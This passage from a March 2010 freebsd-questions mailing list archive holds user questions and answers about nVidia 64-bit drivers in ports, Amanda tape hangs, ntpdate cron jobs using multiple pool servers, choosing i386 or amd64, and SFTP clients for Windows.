iVBORw0KGgoAAAANSUhEUgAAADAAAAAwBAMAAAClLOS0AAAAGFBMVEX+/v7++v6YOTrq8PCcuIX989UvOSj++v0BNCbpAAAAB3RJTUUHsQwfFzs7RBhzUQAAAhJJREFUOI1dU8GOqzAMNKIoV1bvwD1i0ysqrHplIdBrVSX7ATSbd03VVvn9tQNtQy0hjAdn7LED4AAcPtWm9RV+MPSfxhBLx9ajd6X/ngB6/mTwnRSZua7i7Ca+0ctZKo4Qmz+JY13X6I3nFZBxIYW1PbgfQ5RP8g0XlltEWGf3cV03joYpRnFbvYDKbXjZlXyyhEZA4lI+cN3NaVXE4VKjSwTExO10eTEkkJVqIAD5z0nUBQJluQDRSQjcrBiHAJxZlAH5CUMBMC7OcJ4LMQNnxhZ1HYPscMc6J4UlWRMNwzOpCcAHKSICd1EDn83abdREIbXsHkD1OinP1aCUCOEVRaa1lMcvywUWdYgk13JQUpYNKmvXQ8Kw5ML9YI5h8SakctBc7E/IYuLhYd/zZIk+1gM1vNweQBvHE0j+oYah3sMqAytQYlZk6+ANaaawJdu3OFzYGMZ3iGpa3qMlq9ZH0VZTgrCtw/ngdYkEIIpSbP1bWQAdFdX9vocBdkH2qVjVmuMu3gI5rjs814EUdrCZgWlPaxZZ3RiLFUtr+ud0PXwp2dnQSNXgePt6AZpBj6UMJ7VQkzN4utVeaSW1Dhn/kblGrKeMvNGnzwX4zuEDarYz1KdPtR60Gul0Gued+515SJXhCsl+Tx/3kY/UDvicPll9mfu50t3tvQ/thZpJYgeuwdSKNJ6tCD98MCgoxLDaPxbwqqwPWaWiAAAAAElFTkSuQmCC X-Face: "\j?x](l|]4p?-1Bf@!wN<&p=$.}^k-HgL}cJKbQZ3r#Ar]\%U(#6}'?<3s7%(%(gxJxxcR Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 12 Mar 2010 11:55:53.0742 (UTC) FILETIME=[F7C562E0:01CAC1DA] Subject: nVidia 64bit drivers X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 11:55:55 -0000 Have the 64bit drivers from nVidia been incorporated into the FreeBSD ports system yet? I read awhile ago that they were being developed; however, I have not found them present in the ports system. -- Carmel carmel_ny@hotmail.com |::::======= |::::======= |=========== |=========== | Oregano, n.: The ancient Italian art of pizza folding. From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 12:39:37 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 67A34106566B for ; Fri, 12 Mar 2010 12:39:37 +0000 (UTC) (envelope-from geo.liaskos@gmail.com) Received: from fg-out-1718.google.com (fg-out-1718.google.com [72.14.220.152]) by mx1.freebsd.org (Postfix) with ESMTP id F18D28FC27 for ; Fri, 12 Mar 2010 12:39:36 +0000 (UTC) Received: by fg-out-1718.google.com with SMTP id 16so295349fgg.13 for ; Fri, 12 Mar 2010 04:39:35 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=0pmaFMB5afXiTWJwp7OK1IJII1S7AX4FiRUndgxn8pk=; b=HxGPuV52zhSNGgvzkTi1LuAA4vzAgj6c7eYo6mO8ncpYqDF8SQDKkiTrAAsDQGUcEW OJdUJtvcL9gU3ooai5vw2D6o6Il3T8kx8V2Xrjt02NOoLM0Ki5gseLx1z/saMtHobHvX mjH8aZhxtdrBvHQoRam1ycc1rOXX5/OtrBXVs= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; b=iuSVcFnfNQ732lDjXxbRlxaG/FmmchhO6dleukRM9AHkuB6aBkBfc8goUqqZUS+JG9 ct9oJvKkpOVmVWdOH7tCIrZ8R52mFMcl8S5q/2MZsjedjaiglq5/m0tEbCUSyxgZHJ82 UKexAQVk5Ju4pOskaWJVQwIFiBFSET98hJaLk= MIME-Version: 1.0 Received: by 10.239.152.211 with SMTP id w19mr489320hbb.150.1268397575041; Fri, 12 Mar 2010 04:39:35 -0800 (PST) In-Reply-To: References: Date: Fri, 12 Mar 2010 12:39:34 +0000 Message-ID: From: George Liaskos To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Subject: Re: nVidia 64bit drivers X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 12:39:37 -0000 On Fri, Mar 12, 2010 at 11:55 AM, Carmel wrote: > Have the 64bit drivers from nVidia been incorporated into the FreeBSD > ports system yet? I read awhile ago that they were being developed; > however, I have not found them present in the ports system. > > -- > > Carmel > carmel_ny@hotmail.com > > |::::=3D=3D=3D=3D=3D=3D=3D > |::::=3D=3D=3D=3D=3D=3D=3D > |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > | > > Oregano, n.: =A0 =A0The ancient Italian art of pizza folding. > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.o= rg" > Yes they are, they got in to the ports tree a week or so after the nVidia release. [x11/nvidia-driver] Regards. From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 14:19:58 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 5726C1065670 for ; Fri, 12 Mar 2010 14:19:58 +0000 (UTC) (envelope-from svein@stillbilde.net) Received: from mail.stillbilde.net (unknown [IPv6:2002:51af:3dc3:0:20c:29ff:fece:79f3]) by mx1.freebsd.org (Postfix) with ESMTP id E01B88FC1D for ; Fri, 12 Mar 2010 14:19:57 +0000 (UTC) Received: from [IPv6:2002:51af:3dc3:0:79cc:a126:7e59:782f] (unknown [IPv6:2002:51af:3dc3:0:79cc:a126:7e59:782f]) (Authenticated sender: svein) by mail.stillbilde.net (Familien Skogens mail) with ESMTPSA id D729823; Fri, 12 Mar 2010 15:20:15 +0100 (CET) Message-ID: <4B9A4D9D.6040805@stillbilde.net> Date: Fri, 12 Mar 2010 15:20:13 +0100 From: Svein Skogen User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.8) Gecko/20100227 Lightning/1.0b1 Thunderbird/3.0.3 MIME-Version: 1.0 To: freebsd-questions@freebsd.org X-Enigmail-Version: 1.0.1 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Subject: Amanda, FreeBSD8, amtype, hairpulling, etc. X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 14:19:58 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I'm having trouble getting Amanda (2.6.1p2 from ports) to play nicely with my hardware. Devices are: at scbus0 target 1 lun 0 (sa0,pass0) at scbus0 target 1 lun 1 (pass1,ch0) connected via: mpt0: port 0x9000-0x90ff mem 0xfe4fc000-0xfe4fffff,0xfe4e0000-0xfe4effff irq 16 at device 0.0 on pci2 mpt0: [ITHREAD] mpt0: MPI Version=1.5.20.0 os and number in question is: FreeBSD storage.stillbilde.net 8.0-STABLE FreeBSD 8.0-STABLE #0: Tue Mar 9 07:01:59 UTC 2010 svein@storage.stillbilde.net:/usr/obj/usr/src/sys/GENERIC amd64 Tapes are regular LTO-3 (HP C7973A). amtapetype simply hangs (after writing 3-4 tps for 5 seconds, then simple silence both on sa0 and console) Has anybody run into this problem with FreeBSD8+mpt+autoloader? //Svein - -- - --------+-------------------+------------------------------- /"\ |Svein Skogen | svein@d80.iso100.no \ / |Solberg Ųstli 9 | PGP Key: 0xE5E76831 X |2020 Skedsmokorset | svein@jernhuset.no / \ |Norway | PGP Key: 0xCE96CE13 | | svein@stillbilde.net ascii | | PGP Key: 0x58CD33B6 ribbon |System Admin | svein-listmail@stillbilde.net Campaign|stillbilde.net | PGP Key: 0x22D494A4 +-------------------+------------------------------- |msn messenger: | Mobile Phone: +47 907 03 575 |svein@jernhuset.no | RIPE handle: SS16503-RIPE - --------+-------------------+------------------------------- If you really are in a hurry, mail me at svein-mobile@stillbilde.net This mailbox goes directly to my cellphone and is checked even when I'm not in front of my computer. - ------------------------------------------------------------ Picture Gallery: https://gallery.stillbilde.net/v/svein/ - ------------------------------------------------------------ -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.12 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkuaTZ0ACgkQSBMQn1jNM7ZdZACeI/zbjjsqOCu/12YCBFvbsC9W WXQAnRECv0f2CRDpPkXDBU4q/6Q3np2k =rJL9 -----END PGP SIGNATURE----- From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 14:22:09 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id F09341065672 for ; Fri, 12 Mar 2010 14:22:09 +0000 (UTC) (envelope-from nvidican@m2.vidican.com) Received: from mail-ww0-f54.google.com (mail-ww0-f54.google.com [74.125.82.54]) by mx1.freebsd.org (Postfix) with ESMTP id 920108FC08 for ; Fri, 12 Mar 2010 14:22:09 +0000 (UTC) Received: by wwb24 with SMTP id 24so222430wwb.13 for ; Fri, 12 Mar 2010 06:22:08 -0800 (PST) MIME-Version: 1.0 Sender: nvidican@m2.vidican.com Received: by 10.216.156.203 with SMTP id m53mr630963wek.209.1268403727896; Fri, 12 Mar 2010 06:22:07 -0800 (PST) X-Originating-IP: [136.1.1.154] In-Reply-To: <3f1c29e71003120257h23ecc310w730bbc6396b27a37@mail.gmail.com> References: <3f1c29e71003120257h23ecc310w730bbc6396b27a37@mail.gmail.com> Date: Fri, 12 Mar 2010 09:22:07 -0500 X-Google-Sender-Auth: 3d67f4850239e6ce Message-ID: <795fc2b81003120622o2162463dv6697e26a86188cbe@mail.gmail.com> From: Nathan Vidican To: =?UTF-8?B?0JDQvdGC0L7QvSDQmtC70LXRgdGB?= Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: User Questions Subject: Re: ntpdate problem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 14:22:10 -0000 man ntpdate: " -s Divert logging output from the standard output (default) to th= e system syslog(3) facility. This is designed primarily for conve- nience of cron(8) scripts. " Change your cron job to 5 * * * * /usr/sbin/ntpdate -s ru.pool.ntp.org This will suppress the email you're getting. Consequently, this doesn't solve the problem of not finding a suitable time server, but for that I'd suggest enabling ntpd. You should do some reading ('man ntpd') or more specifically, if you don't want to leave ntpd running, read-up on 'ntpd -q' which mimmicks the behavior of ntpdate but allows you to use multiple ntp servers. --=20 Nathan Vidican nathan@vidican.com On Fri, Mar 12, 2010 at 5:57 AM, =D0=90=D0=BD=D1=82=D0=BE=D0=BD =D0=9A=D0= =BB=D0=B5=D1=81=D1=81 wrote: > I have the following line in my root cron: > > 5 * * * * /usr/sbin/ntpdate ru.pool.ntp.org > /dev/null > > That must hourly adjust system time via NTP. > But I discover that it works from time to time: some days just once, some > days 5-6 times a day I receive e-mail with text like > > 12 Mar 12:05:05 ntpdate[25368]: no server suitable for synchronization > found > > > But if I log in to server and run > > # /usr/sbin/ntpdate ru.pool.ntp.org > > everything always works OK: it says > > 12 Mar 13:51:57 ntpdate[27256]: adjust time server 80.93.56.210 offset > -0.616000 sec > > > Maybe NTP server doesn't like when some client (my server) asks it such w= ay > - once a hour in same minute - and blocks my queries? > > Any suggestions? > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 14:54:15 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D7BEC106564A for ; Fri, 12 Mar 2010 14:54:15 +0000 (UTC) (envelope-from rwmaillists@googlemail.com) Received: from mail-qy0-f194.google.com (mail-qy0-f194.google.com [209.85.221.194]) by mx1.freebsd.org (Postfix) with ESMTP id 8C8DA8FC3C for ; Fri, 12 Mar 2010 14:54:15 +0000 (UTC) Received: by qyk32 with SMTP id 32so1252218qyk.28 for ; Fri, 12 Mar 2010 06:54:14 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=gamma; h=domainkey-signature:received:received:date:from:to:subject :message-id:in-reply-to:references:x-mailer:mime-version :content-type:content-transfer-encoding; bh=oF5ijZ/swYU95QNXq5+p4aXVe11OYlftzlHgkCdEqrE=; b=tjGL8MARrMj9hw5IxILVg+jHT8CGnarTH5rHfj7JATFs2S8UOXYIG/yeGpfKn/Knbt 7/x1E7K9TRbRC5E3Tr+GxlupViLeOo3Qi8Ucq2ZUWFnPMNGLbZFG907ruubhQzCLT674 MLjbeup3mtBLBmr0z8CNnwUkQexKOr4GTZpuw= DomainKey-Signature: a=rsa-sha1; c=nofws; d=googlemail.com; s=gamma; h=date:from:to:subject:message-id:in-reply-to:references:x-mailer :mime-version:content-type:content-transfer-encoding; b=aqwwj3PrioOezvOfZ8qEop1S04W4+wxK0ZGAMmh+oTGrdqwxxYFdSM5LjlsaGZvE3u G1/nRzRQ9BBhLo3AG+GSF9Jl1QjshgyWcuiCHxElGonXWnmO4GiXz6rJQYCDgPlH1tqb i6B1576tjlFzQNvvu4O9syU0dOSpeoWA+30oU= Received: by 10.220.108.31 with SMTP id d31mr1190565vcp.57.1268405654327; Fri, 12 Mar 2010 06:54:14 -0800 (PST) Received: from gumby.homeunix.com (bb-87-81-140-128.ukonline.co.uk [87.81.140.128]) by mx.google.com with ESMTPS id 28sm9678724vws.11.2010.03.12.06.54.09 (version=SSLv3 cipher=RC4-MD5); Fri, 12 Mar 2010 06:54:12 -0800 (PST) Date: Fri, 12 Mar 2010 14:54:05 +0000 From: RW To: freebsd-questions@freebsd.org Message-ID: <20100312145405.742da070@gumby.homeunix.com> In-Reply-To: <795fc2b81003120622o2162463dv6697e26a86188cbe@mail.gmail.com> References: <3f1c29e71003120257h23ecc310w730bbc6396b27a37@mail.gmail.com> <795fc2b81003120622o2162463dv6697e26a86188cbe@mail.gmail.com> X-Mailer: Claws Mail 3.7.5 (GTK+ 2.18.7; i386-portbld-freebsd8.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Re: ntpdate problem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 14:54:15 -0000 On Fri, 12 Mar 2010 09:22:07 -0500 Nathan Vidican wrote: > or more specifically, if you don't want to leave ntpd running, > read-up on 'ntpd -q' which mimmicks the behavior of ntpdate but > allows you to use multiple ntp servers. ntpdate supports multiple servers too, you just list them as extra arguments. From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 15:07:08 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 318AF106566B for ; Fri, 12 Mar 2010 15:07:08 +0000 (UTC) (envelope-from antoniok.spb@gmail.com) Received: from mail-fx0-f223.google.com (mail-fx0-f223.google.com [209.85.220.223]) by mx1.freebsd.org (Postfix) with ESMTP id B778A8FC14 for ; Fri, 12 Mar 2010 15:07:07 +0000 (UTC) Received: by fxm23 with SMTP id 23so1279882fxm.3 for ; Fri, 12 Mar 2010 07:07:06 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:cc:content-type; bh=KiDP9lTn3hLIS99SHZEcqRq2eV7PwpQWGM2W3FybHiY=; b=gZcJn8/EbryTEBz+XJcAWLKB+WCkuZI8Eeh+2SbwVTIuYhaQSP1NZznpnRlrxVLI7+ xJsDd343mv++cvsEYmRuptilyyDtlLv307K8mZ15TkF74e/azXnbegQBZqP10Bgu4qs4 Ks0357m/9YHI7JHr1RiP7jOZr1tNn/LrqLKGY= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; b=Mluvm5XqkLcrxT8Si/aJmYeKpn7fGKsAAlnkyZ0DEsLPsy4n1e0Hce3hzGW6NM3/2i Ye6MEBkeUVzMBcz+Dn9nboQbPc/a0SZRHLLE/6d5R7sYxM3EHDQ/tSYcA8+RFW9unN8Y Wk4yiAawPdGxlH1Fgg4Nd/pjIm9/FcS3vP7o4= MIME-Version: 1.0 Received: by 10.102.209.25 with SMTP id h25mr17778mug.70.1268406426149; Fri, 12 Mar 2010 07:07:06 -0800 (PST) In-Reply-To: <20100312145405.742da070@gumby.homeunix.com> References: <3f1c29e71003120257h23ecc310w730bbc6396b27a37@mail.gmail.com> <795fc2b81003120622o2162463dv6697e26a86188cbe@mail.gmail.com> <20100312145405.742da070@gumby.homeunix.com> From: =?UTF-8?B?0JDQvdGC0L7QvSDQmtC70LXRgdGB?= Date: Fri, 12 Mar 2010 18:06:45 +0300 Message-ID: <3f1c29e71003120706q692fbc1cgebd2463dcf95b35d@mail.gmail.com> To: RW Content-Type: text/plain; charset=KOI8-R Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: freebsd-questions@freebsd.org Subject: Re: ntpdate problem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 15:07:08 -0000 So, while ru.pool.ntp.org is pool of several servers, I have to run it as 5 * * * * /usr/sbin/ntpdate ru.pool.ntp.org ru.pool.ntp.org ru.pool.ntp.org> /dev/null to check 3 servers from pool? 2010/3/12 RW > On Fri, 12 Mar 2010 09:22:07 -0500 > Nathan Vidican wrote: > > > or more specifically, if you don't want to leave ntpd running, > > read-up on 'ntpd -q' which mimmicks the behavior of ntpdate but > > allows you to use multiple ntp servers. > > ntpdate supports multiple servers too, you just list them as extra > arguments. > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" > --=20 =F3 =D5=D7=C1=D6=C5=CE=C9=C5=CD, =E1=CE=D4=CF=CE =EB=CC=C5=D3=D3, http://kless.spb.ru/ From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 15:22:05 2010 Return-Path: Delivered-To: freebsd-questions@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id BB13F1065672 for ; Fri, 12 Mar 2010 15:22:05 +0000 (UTC) (envelope-from freebsd-questions-local@be-well.ilk.org) Received: from mail7.sea5.speakeasy.net (mail7.sea5.speakeasy.net [69.17.117.9]) by mx1.freebsd.org (Postfix) with ESMTP id 94CE48FC14 for ; Fri, 12 Mar 2010 15:22:05 +0000 (UTC) Received: (qmail 2160 invoked from network); 12 Mar 2010 15:22:03 -0000 Received: from dsl092-078-145.bos1.dsl.speakeasy.net (HELO be-well.ilk.org) ([66.92.78.145]) (envelope-sender ) by mail7.sea5.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 12 Mar 2010 15:22:03 -0000 Received: by be-well.ilk.org (Postfix, from userid 1147) id 02E5850886; Fri, 12 Mar 2010 10:22:02 -0500 (EST) From: Lowell Gilbert To: Vishal Kashyap References: Date: Fri, 12 Mar 2010 10:22:01 -0500 In-Reply-To: (Vishal Kashyap's message of "Thu, 11 Mar 2010 21:38:18 +0530") Message-ID: <44fx45mup2.fsf@be-well.ilk.org> User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/23.1 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: freebsd-questions@FreeBSD.org Subject: Re: About Which Version I'll Use? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: freebsd-questions@FreeBSD.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 15:22:05 -0000 Vishal Kashyap writes: > Respected Sir, > I am a MCA student. and i'd like to install FreeBSD for development purpose > on my system. But, I've no more information about hardware portion. So, > Please guide me about that. Here, I am sending you my System's hardware > profile; which is, > > > AMD Athlon Dual Core 7750 > Kingston 2 Gb DDR2 RAM > Maxtor 250 Gb IDE HDD > nVIDIA 9500 GT Graphics Card > nVIDIA NIC > Creative Sound Blaster Audigy 5.1 (Sound Card) > > > As of my assumptions, FreeBSD Release 8.0 i386 can easily be installed on my > system. Am I right, sir? Or should I use amd64 version of FreeBSD? Either one will work fine. If you have more than 3GB of memory, go for amd64. If you have less than half of that, go for i386. -- Lowell Gilbert, embedded/networking software engineer, Boston area http://be-well.ilk.org/~lowell/ From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 15:27:38 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id ED7CB106566B for ; Fri, 12 Mar 2010 15:27:38 +0000 (UTC) (envelope-from rwmaillists@googlemail.com) Received: from qw-out-2122.google.com (qw-out-2122.google.com [74.125.92.27]) by mx1.freebsd.org (Postfix) with ESMTP id 9D96F8FC0A for ; Fri, 12 Mar 2010 15:27:38 +0000 (UTC) Received: by qw-out-2122.google.com with SMTP id 5so422056qwi.7 for ; Fri, 12 Mar 2010 07:27:37 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=gamma; h=domainkey-signature:received:received:date:from:to:subject :message-id:in-reply-to:references:x-mailer:mime-version :content-type:content-transfer-encoding; bh=RlMfzxVbPFVFQfdVKh6wuzDgrmvKOTjo78ygL+2yTTk=; b=omaBAxO/kdaIufCFnefrXOOpKgK1PtiWhdkW6lbOJVXmKTkbX8QIHwOyu5eRpXw3IZ ocMFhP9lPc1j6gwLOMrj7BldZYVkdZB1phUsM/lk0NbW70ynsdEl8S1bRV7Qw3HjNdKY RAd0Myp5H/sxv7jO+PLZlesly6FnZwsL4Ay/c= DomainKey-Signature: a=rsa-sha1; c=nofws; d=googlemail.com; s=gamma; h=date:from:to:subject:message-id:in-reply-to:references:x-mailer :mime-version:content-type:content-transfer-encoding; b=H8aiMBLpDiJvEXMhtGXESUl8XHDKb2zj8F7vzz7XI4PH8Mi6bfyl75tiLeTPxDw2vn CGyb5tQvh2fy/NLgAFCWTnIlpw4WI1Vr63o2Pw41mC8JFfyu6IYnfweADCDXQGo+FUr9 LmkLeMVB6cMlS+FX4CIlAK2CrqRgV7ppSXRB0= Received: by 10.220.127.97 with SMTP id f33mr139536vcs.47.1268407657656; Fri, 12 Mar 2010 07:27:37 -0800 (PST) Received: from gumby.homeunix.com (bb-87-81-140-128.ukonline.co.uk [87.81.140.128]) by mx.google.com with ESMTPS id 33sm9986652vws.0.2010.03.12.07.27.35 (version=SSLv3 cipher=RC4-MD5); Fri, 12 Mar 2010 07:27:36 -0800 (PST) Date: Fri, 12 Mar 2010 15:27:32 +0000 From: RW To: freebsd-questions@freebsd.org Message-ID: <20100312152732.377a92a2@gumby.homeunix.com> In-Reply-To: <3f1c29e71003120706q692fbc1cgebd2463dcf95b35d@mail.gmail.com> References: <3f1c29e71003120257h23ecc310w730bbc6396b27a37@mail.gmail.com> <795fc2b81003120622o2162463dv6697e26a86188cbe@mail.gmail.com> <20100312145405.742da070@gumby.homeunix.com> <3f1c29e71003120706q692fbc1cgebd2463dcf95b35d@mail.gmail.com> X-Mailer: Claws Mail 3.7.5 (GTK+ 2.18.7; i386-portbld-freebsd8.0) Mime-Version: 1.0 Content-Type: text/plain; charset=KOI8-R Content-Transfer-Encoding: 8bit Subject: Re: ntpdate problem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 15:27:39 -0000 On Fri, 12 Mar 2010 18:06:45 +0300 įĪŌĻĪ ėĢÅÓÓ wrote: > So, while ru.pool.ntp.org is pool of several servers, I have to run > it as > > 5 * * * * /usr/sbin/ntpdate ru.pool.ntp.org ru.pool.ntp.org > ru.pool.ntp.org> /dev/null > > to check 3 servers from pool? > You can different servers like this: 0.ru.pool.ntp.org 1.ru.pool.ntp.org 2.ru.pool.ntp.org 3.ru.pool.ntp.org From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 15:41:11 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4998F106566B for ; Fri, 12 Mar 2010 15:41:11 +0000 (UTC) (envelope-from dan@dan.emsphone.com) Received: from email1.allantgroup.com (email1.emsphone.com [199.67.51.115]) by mx1.freebsd.org (Postfix) with ESMTP id CA0728FC19 for ; Fri, 12 Mar 2010 15:41:10 +0000 (UTC) Received: from dan.emsphone.com (dan.emsphone.com [199.67.51.101]) by email1.allantgroup.com (8.14.0/8.14.0) with ESMTP id o2CFf89f059313 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 12 Mar 2010 09:41:09 -0600 (CST) (envelope-from dan@dan.emsphone.com) Received: from dan.emsphone.com (smmsp@localhost [127.0.0.1]) by dan.emsphone.com (8.14.4/8.14.3) with ESMTP id o2CFf8uo041551 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 12 Mar 2010 09:41:08 -0600 (CST) (envelope-from dan@dan.emsphone.com) Received: (from dan@localhost) by dan.emsphone.com (8.14.4/8.14.3/Submit) id o2CFf7pR041538; Fri, 12 Mar 2010 09:41:07 -0600 (CST) (envelope-from dan) Date: Fri, 12 Mar 2010 09:41:07 -0600 From: Dan Nelson To: Matthew Seaman Message-ID: <20100312154107.GB4528@dan.emsphone.com> References: <4B99F9CB.8010601@eskk.nu> <201003120827.o2C8RChV025564@banyan.cs.ait.ac.th> <4B9A1954.9070201@eskk.nu> <4B9A1D6E.9030403@infracaninophile.co.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4B9A1D6E.9030403@infracaninophile.co.uk> X-OS: FreeBSD 7.3-PRERELEASE User-Agent: Mutt/1.5.20 (2009-06-14) X-Virus-Scanned: clamav-milter 0.95.3 at email1.allantgroup.com X-Virus-Status: Clean X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0.2 (email1.allantgroup.com [199.67.51.78]); Fri, 12 Mar 2010 09:41:09 -0600 (CST) X-Scanned-By: MIMEDefang 2.45 Cc: krad , freebsd-questions@freebsd.org, Leslie Jensen Subject: Re: I want to instal a "secure" ftp server X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 15:41:11 -0000 In the last episode (Mar 12), Matthew Seaman said: > On 12/03/2010 10:37:08, Leslie Jensen wrote: > > Will Windows users be able to use an ftp client to connect? I've never > > implemented ssh with ftp before so I want to clarify for my > > understanding. > > No, they'll need a SSH/SFTP client to be able to connect. Don't worry > though -- the clients work exactly like FTP clients: it's all the > underlying stuff that's different and much more secure. > > Try WinSCP (http://winscp.net/eng/docs/introduction) as a client. It > works very much like Norton Commander. Plus it's Free. Or putty for > those that prefer a CLI environment > (http://www.chiark.greenend.org.uk/~sgtatham/putty/) Other excellent sftp clients are: FileZilla - http://www.filezilla-project.org/ muCommander - http://www.mucommander.com/ -- Dan Nelson dnelson@allantgroup.com From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 15:49:00 2010 Return-Path: Delivered-To: freebsd-questions@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org 